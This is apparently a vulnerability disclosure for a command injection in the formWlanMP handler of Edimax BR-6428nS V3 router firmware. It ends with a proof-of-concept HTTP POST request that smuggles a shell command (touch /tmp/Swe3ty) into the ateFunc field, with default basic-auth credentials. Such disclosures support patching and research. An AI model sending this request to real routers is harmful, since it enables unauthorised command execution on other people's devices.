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Edimax wireless_routers_n300 Command Injection

BR-6428nS V3 Firmware

Firmware Version: BR6428NSv3_1.20 You can download Firmware at this website and use FirmAE to simulate the router environment.

Description

There is a command injection in formWlanMP Function of binary file webs. After obtaining the POST parameter, it is directly incorporated into the system function for execution without checking and filtering

PS You must pass basic verification before you can exploit this vulnerability can find the user/passwd in website

POC

POST /goform/formWlanMP HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Origin: http://192.168.2.1
Authorization: Basic YWRtaW46MTIzNA==
Connection: close
Referer: http://192.168.2.1/status.asp
Cookie: language=14
Upgrade-Insecure-Requests: 1

ateFunc=1;touch%20/tmp/Swe3ty&submit-url=%2Findex.asp